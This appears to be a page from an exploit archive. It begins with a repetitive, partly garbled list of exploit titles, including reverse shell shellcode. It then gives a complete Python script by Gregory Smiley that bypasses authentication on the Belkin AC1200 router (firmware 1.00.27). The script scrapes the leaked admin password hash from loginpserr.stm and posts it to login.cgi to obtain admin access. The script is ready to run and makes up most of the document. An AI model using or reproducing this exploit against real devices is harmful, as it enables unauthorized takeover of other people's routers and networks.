fc4bc08825
15 new exploits Apache HTTPd - Arbitrary Long HTTP Headers DoS Apache HTTPd - Arbitrary Long HTTP Headers DoS (Perl) Apache HTTPd - Arbitrary Long HTTP Headers DoS Apache HTTPd - Arbitrary Long HTTP Headers DoS (C) Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow Exploit (c code) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow Exploit (C) (1) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow (2) (c code) Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow (C) (2) Webhints <= 1.03 - Remote Command Execution Exploit (perl code) (1) Webhints <= 1.03 - Remote Command Execution Exploit (c code) (2) Webhints <= 1.03 - Remote Command Execution Exploit (perl code) (3) Webhints <= 1.03 - Remote Command Execution Exploit (Perl) (1) Webhints <= 1.03 - Remote Command Execution Exploit (C) (2) Webhints <= 1.03 - Remote Command Execution Exploit (Perl) (3) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (Perl Code) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (C Code) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (Perl) phpBB <= 2.0.15 - Register Multiple Users Denial of Service (C) SimpleBBS <= 1.1 - Remote Commands Execution Exploit (c code) SimpleBBS <= 1.1 - Remote Commands Execution Exploit (C) Xmame 0.102 (-lang) Local Buffer Overflow Exploit (c code) Xmame 0.102 - (lang) Local Buffer Overflow Exploit (C) aFAQ 1.0 (faqDsp.asp catcode) Remote SQL Injection Vulnerability aFAQ 1.0 - (faqDsp.asp catcode) Remote SQL Injection Vulnerability Apple CFNetwork HTTP Response Denial of Service Exploit (rb code) Apple CFNetwork - HTTP Response Denial of Service Exploit (RB) PhpBlock a8.4 (PATH_TO_CODE) Remote File Inclusion Vulnerability PhpBlock a8.4 - (PATH_TO_CODE) Remote File Inclusion Vulnerability WebPortal CMS <= 0.7.4 (code) Remote Code Execution Vulnerability WebPortal CMS <= 0.7.4 - (code) Remote Code Execution Vulnerability emergecolab 1.0 (sitecode) Local File Inclusion Vulnerability emergecolab 1.0 - (sitecode) Local File Inclusion Vulnerability Simple Machines Forums (BBCode) Cookie Stealing Vulnerability Simple Machines Forums - (BBCode) Cookie Stealing Vulnerability Movie PHP Script 2.0 (init.php anticode) Code Execution Vulnerability Movie PHP Script 2.0 - (init.php anticode) Code Execution Vulnerability Kjtechforce mailman b1 (code) SQL Injection Delete Row Vulnerability Kjtechforce mailman b1 - (code) SQL Injection Delete Row Vulnerability WordPress Activity Log Plugin 2.3.1 - Persistent XSS IPS Community Suite 4.1.12.3 - PHP Code Injection Adobe Flash - ATF Processing Overflow Adobe Flash - JXR Processing Double Free Adobe Flash - LMZA Property Decoding Heap Corruption Adobe Flash - ATF Image Packing Overflow Tiki Wiki 15.1 - Unauthenticated File Upload Vulnerability (msf) Ho' Detector (Promiscuous mode detector shellcode) (56 bytes) Ho' Detector - Promiscuous mode detector shellcode (56 bytes) MS16-016 mrxdav.sys WebDav Local Privilege Escalation Ruby on Rails ActionPack Inline ERB Code Execution Lan Messenger sending PM Buffer Overflow (UNICODE) - Overwrite SEH Lan Messenger - sending PM Buffer Overflow (UNICODE) Overwrite SEH Tiki Wiki CMS 15.0 - Arbitrary File Download Belkin Router AC1200 Firmware 1.00.27 - Authentication Bypass WordPress All in One SEO Pack Plugin 2.3.6.1 - Persistent XSS Device42 WAN Emulator 2.3 Traceroute Command Injection Device42 WAN Emulator 2.3 Ping Command Injection Device42 WAN Emulator 2.3 - Traceroute Command Injection Device42 WAN Emulator 2.3 - Ping Command Injection Samsung Galaxy S6 Samsung Gallery - Bitmap Decoding Crash Dell KACE K1000 File Upload Dell KACE K1000 - File Upload Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection Dell SonicWALL Scrutinizer 11.01 - methodDetail SQL Injection Valve Steam 3.42.16.13 - Local Privilege Escalation Beauty Parlour & SPA Saloon Management System - Blind SQL Injection Clinic Management System - Blind SQL Injection Linux x86-64 Continuously-Probing Reverse Shell via Socket + Port-range + Password - 172 Bytes
144 lines
2.7 KiB
Python
Executable file
144 lines
2.7 KiB
Python
Executable file
'''
|
|
# Exploit Title: Belkin Router AC1200, Firmware: 1.00.27 - Authentication Bypass
|
|
# Date: 5/11/2016
|
|
# Exploit Author: Gregory Smiley
|
|
# Contact: gsx0r.sec@gmail.com
|
|
# Vendor Homepage: http://www.belkin.com
|
|
# Version: Firmware: 1.00.27
|
|
# Tested on:F9K1113 v1
|
|
|
|
|
|
#1. Description:
|
|
|
|
#The Belkin AC1200 is vulnerable to authentication bypass due to it performing client side
|
|
#authentication after you attempt to login after already having failed a login. That webpage, loginpserr.stm contains the md5 hash value of the administrators password. This can be
|
|
#exploited by extracting that hash value, and passing it in the pws field in a post request to
|
|
#login.cgi.
|
|
|
|
#I would like to note that I contacted Belkin on several occasions
|
|
#and gave them plenty of time to reply/fix the issue before releasing this entry.
|
|
|
|
|
|
|
|
#2. Proof:
|
|
|
|
#Line 55 of loginpserr.stm contains the javascript code:
|
|
|
|
#var password = "md5hashofpassword";
|
|
|
|
|
|
#3. Exploit:
|
|
'''
|
|
|
|
#!/usr/bin/python
|
|
|
|
|
|
import urllib
|
|
|
|
import urllib2
|
|
|
|
import sys
|
|
|
|
|
|
router = raw_input('Enter IP address of your AC1200 to test: ')
|
|
|
|
page = urllib2.urlopen('http://'+router+'/loginpserr.stm').read()
|
|
|
|
test_page = page
|
|
|
|
|
|
vuln_string = 'var password = "'
|
|
|
|
if vuln_string in test_page:
|
|
|
|
print 'Router is vulnerable.'
|
|
answer = raw_input('Would you like to exploit the target? Y/N : ')
|
|
|
|
|
|
else:
|
|
|
|
|
|
print 'Router is not vulnerable.'
|
|
print 'exiting...'
|
|
|
|
sys.exit()
|
|
|
|
|
|
if (answer == 'y') or (answer == 'Y'):
|
|
|
|
|
|
extract = test_page.split(vuln_string, 1)[1] #These two lines extract the leaked hash value
|
|
_hash = extract.partition('"')[0] #from /loginpserr.stm using quotes as a delimiter
|
|
|
|
|
|
else:
|
|
|
|
|
|
if (answer == 'n') or (answer == 'N'):
|
|
print 'exiting...'
|
|
|
|
sys.exit()
|
|
|
|
|
|
#Assemble the POST request to /login.cgi
|
|
|
|
|
|
|
|
headers = {
|
|
|
|
|
|
'Host': router,
|
|
|
|
'Connection': 'keep-alive',
|
|
|
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0',
|
|
|
|
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
|
|
|
'Accept-Language' : 'en-US,en;q=0.5',
|
|
|
|
'Accept-Encoding' : 'gzip, deflate',
|
|
|
|
'Referer' : 'http://'+router+'/',
|
|
|
|
'Connection': 'keep-alive',
|
|
|
|
'Content-Type': 'application/x-www-form-urlencoded'
|
|
|
|
}
|
|
|
|
|
|
data = {
|
|
|
|
|
|
|
|
'totalMSec':'0',
|
|
|
|
'pws': _hash,
|
|
|
|
'url':'status.stm',
|
|
|
|
'arc_action':'login',
|
|
|
|
'pws_temp': ''
|
|
|
|
}
|
|
|
|
|
|
data = urllib.urlencode(data)
|
|
|
|
|
|
#Sends the POST request with the hash in the pws field
|
|
|
|
|
|
req = urllib2.Request('http://'+router+'/login.cgi', data, headers)
|
|
|
|
|
|
response = urllib2.urlopen(req)
|
|
|
|
the_page = response.read()
|
|
|
|
|
|
print 'Exploit successful.'
|
|
|
|
print 'You are now free to navigate to http://'+router+'/ ...as admin ;)'
|